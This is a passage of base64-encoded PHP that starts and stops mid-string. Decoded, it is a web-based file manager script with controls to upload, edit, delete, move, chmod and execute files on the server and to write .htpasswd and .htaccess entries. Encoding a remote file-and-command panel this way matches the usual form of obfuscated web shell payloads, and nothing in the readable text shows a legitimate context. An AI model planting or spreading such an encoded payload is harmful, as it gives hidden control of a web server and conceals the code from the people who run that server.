B0cnVlOyBlbHNlICRyZXZlcnNlID0gZmFsc2U7DQoNCglzb3J0bGlzdCgkbGlzdCwgJHNvcnQsICRyZXZlcnNlKTsNCg0KCWVjaG8gJw0KDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBpZD0ibWFpbiI+DQonOw0KDQoJZGlyZWN0b3J5X2Nob2ljZSgpOw0KDQoJaWYgKCFlbXB0eSgkbWVzc2FnZSkpIHsNCgkJc3BhY2VyKCk7DQoJCWVjaG8gJG1lc3NhZ2U7DQoJfQ0KDQoJaWYgKEBpc193cml0YWJsZSgkZGlyZWN0b3J5KSkgew0KCQl1cGxvYWRfYm94KCk7DQoJCWNyZWF0ZV9ib3goKTsNCgl9IGVsc2Ugew0KCQlzcGFjZXIoKTsNCgl9DQoNCglpZiAoJGxpc3QpIHsNCgkJbGlzdGluZygkbGlzdCk7DQoJfSBlbHNlIHsNCgkJZWNobyBlcnJvcignbm90X3JlYWRhYmxlJywgJGRpcmVjdG9yeSk7DQoJfQ0KDQoJZWNobyAnPC90YWJsZT4NCg0KPC9mb3JtPg0KDQonOw0KDQoJaHRtbF9mb290ZXIoKTsNCg0KfQ0KDQpmdW5jdGlvbiBsaXN0aW5nICgkbGlzdCkgew0KCWdsb2JhbCAkZGlyZWN0b3J5LCAkaG9tZWRpciwgJHNvcnQsICRyZXZlcnNlLCAkd2luLCAkY29scywgJGRhdGVfZm9ybWF0LCAkc2VsZjsNCg0KCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+DQoJPHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGUiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPXNtaWxleSIgYWx0PSJzbWlsZXkiIC8+PC90aD4NCic7DQoNCgkkZCA9ICdkaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICcmYW1wOyc7DQoNCglpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdmaWxlbmFtZScpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCWVjaG8gIlx0PHRoIGNsYXNzPVwiZmlsZW5hbWVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9ZmlsZW5hbWUkclwiPiIgLiB3b3JkKCdmaWxlbmFtZScpIC4gIjwvYT48L3RoPlxuIjsNCg0KCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ3NpemUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgllY2hvICJcdDx0aCBjbGFzcz1cInNpemVcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9c2l6ZSRyXCI+IiAuIHdvcmQoJ3NpemUnKSAuICI8L2E+PC90aD5cbiI7DQoNCglpZiAoISR3aW4pIHsNCg0KCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdwZXJtaXNzaW9uJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwicGVybWlzc2lvbl9oZWFkZXJcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9cGVybWlzc2lvbiRyXCI+IiAuIHdvcmQoJ3Blcm1pc3Npb24nKSAuICI8L2E+PC90aD5cbiI7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAnb3duZXInKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgkJZWNobyAiXHQ8dGggY2xhc3M9XCJvd25lclwiPjxhIGhyZWY9XCIkc2VsZj97JGR9c29ydD1vd25lciRyXCI+IiAuIHdvcmQoJ293bmVyJykgLiAiPC9hPjwvdGg+XG4iOw0KDQoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ2dyb3VwJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwiZ3JvdXBcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9Z3JvdXAkclwiPiIgLiB3b3JkKCdncm91cCcpIC4gIjwvYT48L3RoPlxuIjsNCg0KCX0NCg0KCWVjaG8gJwk8dGggY2xhc3M9ImZ1bmN0aW9ucyI+JyAuIHdvcmQoJ2Z1bmN0aW9ucycpIC4gJzwvdGg+DQo8L3RyPg0KJzsNCg0KCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsNCgkJJGZpbGUgPSAkbGlzdFskaV07DQoNCgkJJHRpbWVzdGFtcHMgID0gJ210aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydtdGltZSddKSAuICcsICc7DQoJCSR0aW1lc3RhbXBzIC49ICdhdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0LCAkZmlsZVsnYXRpbWUnXSkgLiAnLCAnOw0KCQkkdGltZXN0YW1wcyAuPSAnY3RpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2N0aW1lJ10pOw0KDQoJCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+DQoJPHRkIGNsYXNzPSJjaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja2VkJyAuICRpIC4gJyIgdmFsdWU9InRydWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+PC90ZD4NCgk8dGQgY2xhc3M9ImZpbGVuYW1lIiB0aXRsZT0iJyAuIGh0bWwoJHRpbWVzdGFtcHMpIC4gJyI+JzsNCg0KCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgew0KDQoJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1saW5rIiBhbHQ9ImxpbmsiIC8+ICc7DQoJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJyAmcmFycjsgJzsNCg0KCQkJJHJlYWxfZmlsZSA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlWyd0YXJnZXQnXSwgJGRpcmVjdG9yeSk7DQoNCgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsNCgkJCQlpZiAoQGlzX2RpcigkcmVhbF9maWxlKSkgew0KCQkJCQllY2hvICdbIDxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4gXSc7DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249dmlldyZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+JzsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsndGFyZ2V0J10pOw0KCQkJfQ0KDQoJCX0gZWxzZWlmICgkZmlsZVsnaXNfZGlyJ10pIHsNCg0KCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9Zm9sZGVyIiBhbHQ9ImZvbGRlciIgLz4gWyAnOw0KCQkJaWYgKCR3aW4gfHwgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSkgew0KCQkJCWVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJCQl9DQoJCQllY2hvICcgXSc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKHN1YnN0cigkZmlsZVsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy4nKSB7DQoJCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9aGlkZGVuX2ZpbGUiIGFsdD0iaGlkZGVuIGZpbGUiIC8+ICc7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWZpbGUiIGFsdD0iZmlsZSIgLz4gJzsNCgkJCX0NCg0KCQkJaWYgKCRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX3JlYWRhYmxlJ10pIHsNCgkJCSAgIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXZpZXcmYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICciPicgLiBodG1sKCRmaWxlWydmaWxlbmFtZSddKSAuICc8L2E+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyBodG1sKCRmaWxlWydmaWxlbmFtZSddKTsNCgkJCX0NCg0KCQl9DQoNCgkJaWYgKCRmaWxlWydzaXplJ10gPj0gMTAwMCkgew0KCQkJJGh1bWFuID0gJyB0aXRsZT0iJyAuIGh1bWFuX2ZpbGVzaXplKCRmaWxlWydzaXplJ10pIC4gJyInOw0KCQl9IGVsc2Ugew0KCQkJJGh1bWFuID0gJyc7DQoJCX0NCg0KCQllY2hvICJcdDx0ZCBjbGFzcz1cInNpemVcIiRodW1hbj57JGZpbGVbJ3NpemUnXX0gQjwvdGQ+XG4iOw0KDQoJCWlmICghJHdpbikgew0KDQoJCQllY2hvICJcdDx0ZCBjbGFzcz1cInBlcm1pc3Npb25cIiB0aXRsZT1cIiIgLiBkZWNvY3QoJGZpbGVbJ3Blcm1pc3Npb24nXSkgLiAnIj4nOw0KDQoJCQkkbCA9ICEkZmlsZVsnaXNfbGluayddICYmICghZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXR1aWQnKSB8fCAkZmlsZVsnb3duZXInXSA9PSBwb3NpeF9nZXR1aWQoKSk7DQoJCQlpZiAoJGwpIGVjaG8gJzxhIGhyZWY9IicgLiAkc2VsZiAuICc/YWN0aW9uPXBlcm1pc3Npb24mYW1wO2ZpbGU9JyAuIHVybGVuY29kZSgkZmlsZVsncGF0aCddKSAuICcmYW1wO2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+JzsNCgkJCWVjaG8gaHRtbChwZXJtaXNzaW9uX29jdGFsMnN0cmluZygkZmlsZVsncGVybWlzc2lvbiddKSk7DQoJCQlpZiAoJGwpIGVjaG8gJzwvYT4nOw0KDQoJCQllY2hvICI8L3RkPlxuIjsNCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ293bmVyX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cIm93bmVyXCIgdGl0bGU9XCJ1aWQ6IHskZmlsZVsnb3duZXInXX1cIj57JGZpbGVbJ293bmVyX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiPnskZmlsZVsnb3duZXInXX08L3RkPlxuIjsNCgkJCX0NCg0KCQkJaWYgKGFycmF5X2tleV9leGlzdHMoJ2dyb3VwX25hbWUnLCAkZmlsZSkpIHsNCgkJCQllY2hvICJcdDx0ZCBjbGFzcz1cImdyb3VwXCIgdGl0bGU9XCJnaWQ6IHskZmlsZVsnZ3JvdXAnXX1cIj57JGZpbGVbJ2dyb3VwX25hbWUnXX08L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiPnskZmlsZVsnZ3JvdXAnXX08L3RkPlxuIjsNCgkJCX0NCg0KCQl9DQoNCgkJZWNobyAnCTx0ZCBjbGFzcz0iZnVuY3Rpb25zIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZScgLiAkaSAuICciIHZhbHVlPSInIC4gaHRtbCgkZmlsZVsncGF0aCddKSAuICciIC8+DQonOw0KDQoJCSRhY3Rpb25zID0gYXJyYXkoKTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NyZWF0ZV9zeW1saW5rJzsNCgkJfQ0KCQlpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2RlbGV0ZSc7DQoJCQkkYWN0aW9uc1tdID0gJ3JlbmFtZSc7DQoJCQkkYWN0aW9uc1tdID0gJ21vdmUnOw0KCQl9DQoJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2NvcHknOw0KCQkJJGFjdGlvbnNbXSA9ICdkb3dubG9hZCc7DQoJCQlpZiAoJGZpbGVbJ2lzX3dyaXRhYmxlJ10pICRhY3Rpb25zW10gPSAnZWRpdCc7DQoJCX0NCgkJaWYgKCEkd2luICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICRmaWxlWydpc19maWxlJ10gJiYgJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSAmJiBmaWxlX2V4aXN0cygnL2Jpbi9zaCcpKSB7DQoJCQkkYWN0aW9uc1tdID0gJ2V4ZWN1dGUnOw0KCQl9DQoNCgkJaWYgKHNpemVvZigkYWN0aW9ucykgPiAwKSB7DQoNCgkJCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFjdGlvbicgLiAkaSAuICciIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJCQlmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7DQoJCQkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIkYWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOw0KCQkJfQ0KDQoJCQllY2hvICcJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCcgLiAkaSAuICciIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQonOw0KDQoJCX0NCg0KCQllY2hvICcJPC90ZD4NCjwvdHI+DQonOw0KDQoJfQ0KDQoJZWNobyAnPHRyIGNsYXNzPSJsaXN0aW5nX2Zvb3RlciI+DQoJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsgdmVydGljYWwtYWxpZ246IHRvcCI+PGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9YXJyb3ciIGFsdD0iJmd0OyIgLz48L3RkPg0KCTx0ZCBjb2xzcGFuPSInIC4gKCRjb2xzIC0gMSkgLiAnIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibnVtIiB2YWx1ZT0iJyAuIHNpemVvZigkbGlzdCkgLiAnIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb2N1cyIgdmFsdWU9IiIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KJzsNCg0KCSRhY3Rpb25zID0gYXJyYXkoKTsNCglpZiAoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGVbJ3BhdGgnXSkpKSB7DQoJCSRhY3Rpb25zW10gPSAnZGVsZXRlJzsNCgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgl9DQoJJGFjdGlvbnNbXSA9ICdjb3B5JzsNCg0KCWVjaG8gJwkJPHNlbGVjdCBjbGFzcz0ic21hbGwiIG5hbWU9ImFjdGlvbl9hbGwiIHNpemU9IjEiPg0KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+DQonOw0KDQoJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlvbikgew0KCQllY2hvICJcdFx0PG9wdGlvbiB2YWx1ZT1cIiRhY3Rpb25cIj4iIC4gd29yZCgkYWN0aW9uKSAuICI8L29wdGlvbj5cbiI7DQoJfQ0KDQoJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfYWxsIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiBkaXJlY3RvcnlfY2hvaWNlICgpIHsNCglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRjb2xzLCAkc2VsZjsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+DQoJCTxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGhvbWVkaXIpIC4gJyI+JyAuIHdvcmQoJ2RpcmVjdG9yeScpIC4gJzwvYT46DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdkaXJlY3RvcnlcJykiIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCTwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJ1cGxvYWQiPg0KCQknIC4gd29yZCgnZmlsZScpIC4gJzoNCgkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X3VwbG9hZCIgdmFsdWU9IicgLiB3b3JkKCd1cGxvYWQnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZV9ib3ggKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImNyZWF0ZSI+DQoJCTxzZWxlY3QgbmFtZT0iY3JlYXRlX3R5cGUiIHNpemU9IjEiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRlZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigpOw0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0KCTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0iJyAuICRlZGl0cm93cyAuICciIFdSQVA9Im9mZiI+JzsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdjb250ZW50JywgJF9QT1NUKSkgew0KCQllY2hvICRfUE9TVFsnY29udGVudCddOw0KCX0gZWxzZSB7DQoJCSRmID0gZm9wZW4oJGZpbGUsICdyJyk7DQoJCXdoaWxlICghZmVvZigkZikpIHsNCgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOw0KCQl9DQoJCWZjbG9zZSgkZik7DQoJfQ0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsNCgkJZWNobyAiXG4iIC4gJF9QT1NUWyd1c2VyJ10gLiAnOicgLiBjcnlwdCgkX1BPU1RbJ3Bhc3N3b3JkJ10pOw0KCX0NCglpZiAoIWVtcHR5KCRfUE9TVFsnYmFzaWNfYXV0aCddKSkgew0KCQlpZiAoJHdpbikgew0KCQkJJGF1dGhmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZGlyZWN0b3J5KSAuICRodHBhc3N3ZDsNCgkJfSBlbHNlIHsNCgkJCSRhdXRoZmlsZSA9ICRkaXJlY3RvcnkgLiAkaHRwYXNzd2Q7DQoJCX0NCgkJZWNobyAiXG5BdXRoVHlwZSBCYXNpY1xuQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcbiI7DQoJCWVjaG8gJ0F1dGhVc2VyRmlsZSAmcXVvdDsnIC4gaHRtbCgkYXV0aGZpbGUpIC4gIiZxdW90O1xuIjsNCgkJZWNobyAnUmVxdWlyZSB2YWxpZC11c2VyJzsNCgl9DQoNCgllY2hvICc8L3RleHRhcmVhPg0KDQoJPGhyIC8+DQonOw0KDQoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodHBhc3N3ZCkgew0KCQllY2hvICcNCgknIC4gd29yZCgndXNlcicpIC4gJzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+DQoJJyAuIHdvcmQoJ3Bhc3N3b3JkJykgLiAnOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgnYWRkJykgLiAnIiAvPg0KDQoJPGhyIC8+DQonOw0KDQoJfQ0KDQoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodGFjY2Vzcykgew0KCQllY2hvICcNCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJiYXNpY19hdXRoIiB2YWx1ZT0iJyAuIHdvcmQoJ2FkZF9iYXNpY19hdXRoJykgLiAnIiAvPg0KDQoJPGhyIC8+DQonOw0KDQoJfQ0KDQoJZWNobyAnDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZWRpdCIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iJyAuIHdvcmQoJ3Jlc2V0JykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iJyAuIHdvcmQoJ3NhdmUnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4NCg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJaHRtbF9mb290ZXIoKTsNCg0KfQ0KDQpmdW5jdGlvbiBzcGFjZXIgKCkgew0KCWdsb2JhbCAkY29sczsNCg0KCWVjaG8gJzx0cj4NCgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgc3R5bGU9ImhlaWdodDogMWVtIj48L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gdGV4dGZpZWxkc2l6ZSAoJGNvbnRlbnQpIHsNCg0KCSRzaXplID0gc3RybGVuKCRjb250ZW50KSArIDU7DQoJaWYgKCRzaXplIDwgMzApICRzaXplID0gMzA7DQoNCglyZXR1cm4gJHNpemU7DQoNCn0NCg0KZnVuY3Rpb24gcmVxdWVzdF9kdW1wICgpIHsNCg0KCWZvcmVhY2ggKCRfUkVRVUVTVCBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQllY2hvICJcdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiIgLiBodG1sKCRrZXkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCR2YWx1ZSkgLiAiXCIgLz5cbiI7DQoJfQ0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gaHRtbCAoJHN0cmluZykgew0KCWdsb2JhbCAkY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCRzdHJpbmcsIEVOVF9DT01QQVQsICRjaGFyc2V0KTsNCn0NCg0KZnVuY3Rpb24gd29yZCAoJHdvcmQpIHsNCglnbG9iYWwgJHdvcmRzLCAkd29yZF9jaGFyc2V0Ow0KCXJldHVybiBodG1sZW50aXRpZXMoJHdvcmRzWyR3b3JkXSwgRU5UX0NPTVBBVCwgJHdvcmRfY2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHBocmFzZSAoJHBocmFzZSwgJGFyZ3VtZW50cykgew0KCWdsb2JhbCAkd29yZHM7DQoJc3RhdGljICRzZWFyY2g7DQoNCglpZiAoIWlzX2FycmF5KCRzZWFyY2gpKSBmb3IgKCRpID0gMTsgJGkgPD0gODsgJGkrKykgJHNlYXJjaFtdID0gIiUkaSI7DQoNCglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGFyZ3VtZW50cyk7ICRpKyspIHsNCgkJJGFyZ3VtZW50c1skaV0gPSBubDJicihodG1sKCRhcmd1bWVudHNbJGldKSk7DQoJfQ0KDQoJJHJlcGxhY2UgPSBhcnJheSgneycgPT4gJzxwcmU+JywgJ30nID0+JzwvcHJlPicsICdbJyA9PiAnPGI+JywgJ10nID0+ICc8L2I+Jyk7DQoNCglyZXR1cm4gc3RyX3JlcGxhY2UoJHNlYXJjaCwgJGFyZ3VtZW50cywgc3RyX3JlcGxhY2UoYXJyYXlfa2V5cygkcmVwbGFjZSksICRyZXBsYWNlLCBubDJicihodG1sKCR3b3Jkc1skcGhyYXNlXSkpKSk7DQoNCn0NCg0KZnVuY3Rpb24gZ2V0d29yZHMgKCRsYW5nKSB7DQoJZ2xvYmFsICR3b3JkX2NoYXJzZXQsICRkYXRlX2Zvcm1hdDsNCg0KCXN3aXRjaCAoJGxhbmcpIHsNCgljYXNlICdkZSc6DQoNCgkJJGRhdGVfZm9ybWF0ID0gJ2QubS55IEg6aTpz